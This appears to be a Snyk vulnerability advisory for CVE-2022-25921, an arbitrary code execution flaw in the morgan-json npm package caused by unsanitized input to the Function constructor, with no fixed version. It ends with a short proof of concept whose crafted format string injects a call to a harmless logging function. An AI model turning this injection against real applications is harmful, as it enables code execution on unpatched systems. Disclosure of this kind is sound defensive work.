CVE-2022-25921: Snyk Vulnerability Database | Snyk

**Arbitrary Code Execution Affecting morgan-json package, versions *******

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• snyk-id

  SNYK-JS-MORGANJSON-2976193

• published

  28 Aug 2022

• disclosed

  7 Aug 2022

• credit

  OmniTaint

How to fix?

There is no fixed version for morgan-json.

Overview

morgan-json is an A variant of morgan.compile that provides format functions that output JSON

Affected versions of this package are vulnerable to Arbitrary Code Execution due to missing sanitization of input passed to the Function constructor.

PoC

var PUT = require('morgan-json');
global.CTF = function() { console.log('GLOBAL CTF HIT'); };
var x = '}) + global.CTF() + ({'
try {
new PUT(x,{})('');
} catch (e) {
console.log(e);
}